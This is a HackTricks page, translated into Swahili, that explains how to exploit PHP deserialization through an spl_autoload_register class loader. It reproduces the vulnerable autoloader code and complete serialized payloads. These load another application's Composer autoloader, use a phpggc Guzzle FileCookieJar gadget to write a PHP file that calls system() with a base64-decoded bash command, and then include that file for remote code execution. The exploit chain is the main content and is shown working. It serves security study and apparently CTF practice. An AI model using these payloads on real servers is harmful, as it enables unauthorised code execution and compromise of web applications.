PHP - Deserialization + Autoload Classes

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Kwanza, unapaswa kuangalia ni nini Autoloading Classes.

PHP deserialization + spl_autoload_register + LFI/Gadget

Tuko katika hali ambapo tumepata deserialization ya PHP katika programu ya wavuti bila maktaba yoyote inayoweza kudukuliwa ndani ya phpggc. Walakini, kwenye chombo hicho hicho kulikuwa na programu nyingine ya wavuti ya mtunzi yenye maktaba zinazoweza kudukuliwa. Kwa hivyo, lengo lilikuwa kupakia mzigo wa mtunzi wa programu nyingine ya wavuti na kuitumia kudukua kwa kutumia kifaa ambacho kitatumia maktaba hiyo na kifaa kutoka kwenye programu ya wavuti inayoweza kudukuliwa.

Hatua:

  • Umeona deserialization na hakuna kifaa katika msimbo wa programu ya sasa

  • Unaweza kutumia kazi ya spl_autoload_register kama ifuatavyo ku pakia faili yoyote ya ndani na kipengee cha .php

  • Kwa hilo, tumia deserialization ambapo jina la darasa litakuwa ndani ya $name. Hauwezi kutumia "/" au "." katika jina la darasa katika kitu kilichosimbwa, lakini msimbo unafanya badilisho la chini ya mstari ("_") kwa mabano ("/"). Kwa hivyo jina la darasa kama tmp_passwd litabadilishwa kuwa /tmp/passwd.php na msimbo utajaribu kulipakia. Mfano wa kifaa utakuwa: O:10:"tmp_passwd":0:{}

spl_autoload_register(function ($name) {

if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}

$filename = "/${name}.php";

if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});

Ikiwa una upakiaji wa faili na unaweza kupakia faili na kifungu cha .php, unaweza kutumia kazi hii moja kwa moja na kupata RCE tayari.

Katika kesi yangu, sikuwa na kitu kama hicho, lakini kulikuwa na ukurasa mwingine wa wavuti wa mtunzi ndani ya chombo kile kile na maktaba inayoweza kudhurika na kifaa cha phpggc.

  • Ili kupakia maktaba hii nyingine, kwanza unahitaji kupakia mtunzi wa mtunzi wa wavuti ya programu nyingine (kwa sababu ile ya programu ya sasa haitaweza kufikia maktaba za ile nyingine.) Ukiwa na njia ya programu, unaweza kufanikisha hii kwa urahisi sana na: O:28:"www_frontend_vendor_autoload":0:{} (Katika kesi yangu, mtunzi wa mtunzi alikuwa katika /www/frontend/vendor/autoload.php)

  • Sasa, unaweza kupakia mtunzi wa programu nyingine, kwa hivyo ni wakati wa kuzalisha phpgcc malipo ya kutumia. Katika kesi yangu, nilitumia Guzzle/FW1, ambayo iliniruhusu kuandika faili yoyote ndani ya mfumo wa faili.

  • KUMBUKA: Kifaa kilichozalishwa hakikuwa kinafanya kazi, ili kifanye kazi nilibadilisha malipo hayo chain.php ya phpggc na kuweka sifa zote za madarasa kutoka kwa binafsi hadi umma. Ikiwa sivyo, baada ya kudeserializa herufi, sifa za vitu vilivyoundwa hazikuwa na thamani yoyote.

  • Sasa tuna njia ya kupakia mtunzi wa programu nyingine na kuwa na malipo ya phpggc yanayofanya kazi, lakini tunahitaji kufanya hivi katika OMBI MOJA ili mtunzi upakie wakati kifaa kinapotumiwa. Kwa hilo, nilituma safu iliyoserialiwa na vitu vyote viwili kama ifuatavyo:

  • Unaweza kuona kwanza mtunzi unapakia na kisha malipo

a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
  • Sasa, tunaweza kuunda na kuandika faili, hata hivyo, mtumiaji hawezi kuandika katika folda yoyote ndani ya seva ya wavuti. Kwa hivyo, kama unavyoona katika mzigo wa data, PHP inaita system na baadhi ya base64 imeundwa katika /tmp/a.php. Kisha, tunaweza kutumia aina ya kwanza ya mzigo wa data ambayo tulitumia kama LFI kuweka mzigo wa data wa kompyuta ya mtunzi wa wavuti nyingine ili kupakia faili iliyoundwa /tmp/a.php. Tuongeze kwenye kifaa cha deserialization:

a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}

Muhtasari wa mzigo

  • Pakia autoload ya mtunzi wa wavuti tofauti katika kontena moja

  • Pakia kifaa cha phpggc ili kutumia maktaba kutoka kwa wavuti nyingine (wavuti ya awali iliyokuwa na udhaifu wa deserialization haikuwa na kifaa chochote kwenye maktaba zake)

  • Kifaa hicho kitasababisha faili yenye mzigo wa PHP katika /tmp/a.php na amri mbaya (mtumiaji wa wavuti hawezi kuandika kwenye folda yoyote ya wavuti yoyote)

  • Sehemu ya mwisho ya mzigo wetu itatumia pakia faili ya php iliyozalishwa ambayo itatekeleza amri

Nilihitaji kuita deserialization hii mara mbili. Katika majaribio yangu, mara ya kwanza faili ya /tmp/a.php iliumbwa lakini haikupakiwa, na mara ya pili ilipakiwa kwa usahihi.

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Last updated